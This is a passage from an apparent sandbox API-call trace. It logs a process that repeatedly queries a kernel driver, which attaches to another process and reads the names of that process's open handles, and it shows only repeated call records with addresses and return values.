ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.915] ObfDereferenceObject (Object=0xfffff8a002082c30) returned 0x1 [0112.915] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.915] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.915] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.915] PsAcquireProcessExitSynchronization () returned 0x0 [0112.915] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.915] ObReferenceObjectByHandle (in: Handle=0x6bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002063a30, HandleInformation=0x0) returned 0x0 [0112.915] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.915] PsReleaseProcessExitSynchronization () returned 0x2 [0112.915] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.915] ObQueryNameString (in: Object=0xfffff8a002063a30, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.915] ObfDereferenceObject (Object=0xfffff8a002063a30) returned 0x1 [0112.915] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.915] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.915] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.915] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.915] PsAcquireProcessExitSynchronization () returned 0x0 [0112.915] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.915] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020879e0, HandleInformation=0x0) returned 0x0 [0112.915] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.916] PsReleaseProcessExitSynchronization () returned 0x2 [0112.916] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.916] ObQueryNameString (in: Object=0xfffff8a0020879e0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.916] ObfDereferenceObject (Object=0xfffff8a0020879e0) returned 0x1 [0112.916] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.916] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.916] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.916] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.916] PsAcquireProcessExitSynchronization () returned 0x0 [0112.916] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.916] ObReferenceObjectByHandle (in: Handle=0x6e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002094180, HandleInformation=0x0) returned 0x0 [0112.916] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.916] PsReleaseProcessExitSynchronization () returned 0x2 [0112.916] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.916] ObQueryNameString (in: Object=0xfffff8a002094180, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.916] ObfDereferenceObject (Object=0xfffff8a002094180) returned 0x1 [0112.916] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.916] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.916] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.916] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.916] PsAcquireProcessExitSynchronization () returned 0x0 [0112.916] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.916] ObReferenceObjectByHandle (in: Handle=0x704, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00208d060, HandleInformation=0x0) returned 0x0 [0112.916] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.916] PsReleaseProcessExitSynchronization () returned 0x2 [0112.916] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.916] ObQueryNameString (in: Object=0xfffff8a00208d060, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.916] ObfDereferenceObject (Object=0xfffff8a00208d060) returned 0x1 [0112.916] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.916] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.916] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.917] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.917] PsAcquireProcessExitSynchronization () returned 0x0 [0112.917] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.917] ObReferenceObjectByHandle (in: Handle=0x708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a003074590, HandleInformation=0x0) returned 0x0 [0112.917] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.917] PsReleaseProcessExitSynchronization () returned 0x2 [0112.917] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.917] ObQueryNameString (in: Object=0xfffff8a003074590, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.917] ObfDereferenceObject (Object=0xfffff8a003074590) returned 0x1 [0112.917] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.917] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.917] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.917] PsAcquireProcessExitSynchronization () returned 0x0 [0112.917] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.917] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001e158c0, HandleInformation=0x0) returned 0x0 [0112.917] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.917] PsReleaseProcessExitSynchronization () returned 0x2 [0112.917] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.917] ObQueryNameString (in: Object=0xfffff8a001e158c0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.917] ObfDereferenceObject (Object=0xfffff8a001e158c0) returned 0x1 [0112.917] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.917] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.917] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.917] PsAcquireProcessExitSynchronization () returned 0x0 [0112.917] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.917] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001ba99f0, HandleInformation=0x0) returned 0x0 [0112.917] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.917] PsReleaseProcessExitSynchronization () returned 0x2 [0112.917] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.918] ObQueryNameString (in: Object=0xfffff8a001ba99f0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.918] ObfDereferenceObject (Object=0xfffff8a001ba99f0) returned 0x1 [0112.918] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.918] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.918] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.918] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.918] PsAcquireProcessExitSynchronization () returned 0x0 [0112.918] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.918] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00226c630, HandleInformation=0x0) returned 0x0 [0112.918] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.918] PsReleaseProcessExitSynchronization () returned 0x2 [0112.918] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.918] ObQueryNameString (in: Object=0xfffff8a00226c630, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.918] ObfDereferenceObject (Object=0xfffff8a00226c630) returned 0x1 [0112.918] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.918] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.918] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.918] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.918] PsAcquireProcessExitSynchronization () returned 0x0 [0112.918] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.918] ObReferenceObjectByHandle (in: Handle=0x72c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00231a470, HandleInformation=0x0) returned 0x0 [0112.918] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.918] PsReleaseProcessExitSynchronization () returned 0x2 [0112.918] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.918] ObQueryNameString (in: Object=0xfffff8a00231a470, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.918] ObfDereferenceObject (Object=0xfffff8a00231a470) returned 0x1 [0112.918] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.918] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.918] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.919] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.919] PsAcquireProcessExitSynchronization () returned 0x0 [0112.919] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.919] ObReferenceObjectByHandle (in: Handle=0x730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00207bf40, HandleInformation=0x0) returned 0x0 [0112.919] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.919] PsReleaseProcessExitSynchronization () returned 0x2 [0112.919] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.919] ObQueryNameString (in: Object=0xfffff8a00207bf40, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.919] ObfDereferenceObject (Object=0xfffff8a00207bf40) returned 0x1 [0112.919] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.919] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.919] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.919] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.919] PsAcquireProcessExitSynchronization () returned 0x0 [0112.919] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.919] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002339680, HandleInformation=0x0) returned 0x0 [0112.919] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.919] PsReleaseProcessExitSynchronization () returned 0x2 [0112.919] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.919] ObQueryNameString (in: Object=0xfffff8a002339680, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.919] ObfDereferenceObject (Object=0xfffff8a002339680) returned 0x1 [0112.919] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.919] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.919] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.919] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.919] PsAcquireProcessExitSynchronization () returned 0x0 [0112.919] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.919] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00234e060, HandleInformation=0x0) returned 0x0 [0112.919] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.919] PsReleaseProcessExitSynchronization () returned 0x2 [0112.920] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.920] ObQueryNameString (in: Object=0xfffff8a00234e060, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.920] ObfDereferenceObject (Object=0xfffff8a00234e060) returned 0x1 [0112.920] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.920] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.920] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.920] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.920] PsAcquireProcessExitSynchronization () returned 0x0 [0112.920] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.920] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0023488a0, HandleInformation=0x0) returned 0x0 [0112.920] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.920] PsReleaseProcessExitSynchronization () returned 0x2 [0112.920] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.920] ObQueryNameString (in: Object=0xfffff8a0023488a0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.920] ObfDereferenceObject (Object=0xfffff8a0023488a0) returned 0x1 [0112.920] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.920] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.920] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.920] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.920] PsAcquireProcessExitSynchronization () returned 0x0 [0112.920] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.920] ObReferenceObjectByHandle (in: Handle=0x748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002341950, HandleInformation=0x0) returned 0x0 [0112.920] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.920] PsReleaseProcessExitSynchronization () returned 0x2 [0112.920] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.920] ObQueryNameString (in: Object=0xfffff8a002341950, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.920] ObfDereferenceObject (Object=0xfffff8a002341950) returned 0x1 [0112.920] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.920] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.920] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.920] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.920] PsAcquireProcessExitSynchronization () returned 0x0 [0112.921] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.921] ObReferenceObjectByHandle (in: Handle=0x754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00235a630, HandleInformation=0x0) returned 0x0 [0112.921] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.921] PsReleaseProcessExitSynchronization () returned 0x2 [0112.921] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.921] ObQueryNameString (in: Object=0xfffff8a00235a630, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.921] ObfDereferenceObject (Object=0xfffff8a00235a630) returned 0x1 [0112.921] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.921] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.921] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.921] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.921] 